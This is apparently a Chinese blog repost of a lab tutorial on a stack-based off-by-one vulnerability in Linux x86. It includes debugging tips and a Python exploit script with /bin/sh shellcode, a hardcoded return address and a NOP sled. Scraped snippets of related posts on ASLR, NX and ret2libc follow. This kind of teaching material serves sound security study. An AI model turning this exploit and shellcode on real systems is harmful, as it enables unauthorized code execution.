Linux (x86) Exploit系列之三 Off-By-One 漏洞 (基于栈)

Off-By-One 漏洞 (基于栈)

原文地址:https://bbs.pediy.com/thread-216954.htm

什么是off by one?

将源字符串复制到目标缓冲区可能会导致off by one

1、源字符串长度等于目标缓冲区长度。

当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。

一如既往的充分的定义,让我们来看看off by one的漏洞代码!

懒得粘贴了,还是看原文吧,仅对部分作出解释。

这篇全文解释的都特别清楚,我仅说下我调试过程中遇到的坑。

首先是这个使用的是core文件调试,编译选项gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c

请注意没有使用-g选项,那么就不是debug模式,没有debug模式,调试的时候就没办法在源码上下断,所以只能使用core文件进行。

使用core文件调试的办法,作者也给出来了,但是我运行Python exp.py后,却没有core文件。经过查询资料,使用ulimit -c命令查询后,发现值为0,原来是系统默认(?)不允许创建core文件,修改限制,使用ulimit -c 1000修改

修改后,正常的生成了core文件。

还有一个比较坑的点是,gdb调试出的buf地址和真正运行的release版本的buf地址并不相同,偏移也有变化,需要特别注意。

还是老规矩,分享下我调试成功的exp.py文件

 1 #exp.py
 2 #!/usr/bin/env python
 3 import struct
 4 from subprocess import call
 5
 6 #Spawn a shell.
 7 #execve(/bin/sh) Size- 28 bytes.
 8 scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\$
 9
10 ret_addr = 0xbffff426
11
12 #endianess conversion
13 def conv(num):
14  return struct.pack("<I",num)#turn Address + NOP‘s + Shellcode + J$
15 buf = "A" * 68
16 buf += conv(ret_addr)
17 buf += "\x90" * 30
18 buf += scode
19 buf += "A" * 126
20
21 print "Calling vulnerable program"
22 call(["./vuln", buf])

Off-By-One 漏洞 (基于栈)

虚拟机安装:Ubuntu 12.04(x86)

什么是off by one?

将源字符串复制到目标缓冲区可能会导致off by one

1、源字符串长度等于目标缓冲区长度。

当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。

一如既往的充分的定义,让我们来看看off by one的漏洞代码!

漏洞代码:

原文地址:https://www.cnblogs.com/jourluohua/p/8994209.html

时间: 2024-10-13 22:36:34

Linux (x86) Exploit系列之三 Off-By-One 漏洞 (基于栈)的相关文章

SploitFun Linux x86 Exploit 开发系列教程

原文:Linux (x86) Exploit Development Series 在线阅读 PDF格式 EPUB格式 MOBI格式 Github 译者 章节 译者 典型的基于堆栈的缓冲区溢出 hackyzh 整数溢出 hackyzh Off-By-One 漏洞(基于栈) hackyzh 使用 return-to-libc 绕过 NX bit hackyzh 使用链式 return-to-libc 绕过 NX bit hackyzh 绕过ASLR – 第一部分 hackyzh 绕过ASLR –

linux(x86) exploit 开发系列6:使用return-to-plt绕过ASLR

What is ASLR? Address space layout randomization (ASLR) is an exploit mitigation technique that randomizes Stack address. Heap address. Shared library address. #echo 2 > /proc/sys/kernel/randomize_va_space libc base address would get randomized. NOTE

linux(x86) exploit 开发系列4:使用return2libc绕过NX

What is NX Bit? Its an exploit mitigation technique which makes certain areas of memory non executable and makes an executable area, non writable. Example: Data, stack and heap segments are made non executable while text segment is made non writable.

linux(x86) exploit 开发系列5:使用ret2libc链绕过NX

A simple way to chain multiple libc functions is to place one libc function address after another in the stack, but its not possible because of function arguments. chaining seteuid, system and exit would allows us to exploit the vulnerable code 'vuln

linux(x86) exploit 开发系列3:off-by-one

What is off-by-one bug? Copying source string into destination buffer could result in off-by-one when Source string length is equal to destination buffer length. When source string length is equal to destination buffer length, a single NULL byte gets

linux(x86) exploit 开发系列2:整数溢出

What is Integer Overflow? Storing a value greater than maximum supported value is called integer overflow. Integer overflow on its own doesnt lead to arbitrary code execution, but an integer overflow might lead to stack overflow or heap overflow whic

Linux (x86) Exploit 开发系列教程之六(绕过ASLR - 第一部分)

原文地址:https://www.cnblogs.com/momoli/p/10869736.html

Linux服务器部署系列之三—DNS篇

网上介绍DNS的知识很多,在这里我就不再讲述DNS原理及做名词解释了.本篇我们将以一个实例为例来讲述DNS的配置,实验环境如下: 域名:guoxuemin.cn, 子域:shenzhen.guoxuemin.cn 主域名服务器:dns.guoxuemin.cn ,IP地址:192.168.99.9 辅助域名服务器:dns1.guoxuemin.cn,IP地址:192.168.99.8 子域服务器:dns.shenzhen.guoxuemin.cn,IP地址:192.168.99.202 需要解析

Linux服务器部署系列之八—Sendmail篇

Sendmail是目前Linux系统下面用得最广的邮件系统之一,虽然它存在一些不足,不过,目前还是有不少公司在使用它.对它的学习,也能让我们更深的了解邮件系统的运作.下面我们就来看看sendmail邮件服务器的部署. 本文将从以下几个方面讲解Sendmail邮件系统: 1.Sendmail安装: 2.Sendmail基本配置: 3.Openwebmail安装和配置: 4.配置Mailscanner+clamav过滤病毒: 5.配置SpamAssassin+mimedefang过滤垃圾邮件. 本文